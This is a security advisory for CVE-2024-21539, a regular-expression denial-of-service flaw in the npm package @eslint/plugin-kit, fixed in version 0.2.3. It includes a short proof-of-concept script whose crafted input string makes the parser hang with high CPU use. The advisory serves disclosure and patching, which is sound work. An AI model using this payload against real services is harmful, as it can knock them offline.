Advisory

GHSA-7q7g-4xm8-89cq

Also known as: CVE-2024-21539

Summary

Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

Details

Crafting a very large and well crafted string can increase the CPU usage and crash the program.

POC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Severity

Low Basis: The source's own band: LOW

Dates

Published
2024-11-15 20:47 UTC
Modified
2026-09-10 03:50 UTC

Affected packages and fixes

@eslint/plugin-kit

npm · All systems

Affected

  • introduced 0, fixed 0.2.3 (semver)

Fixed versions

0.2.3

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences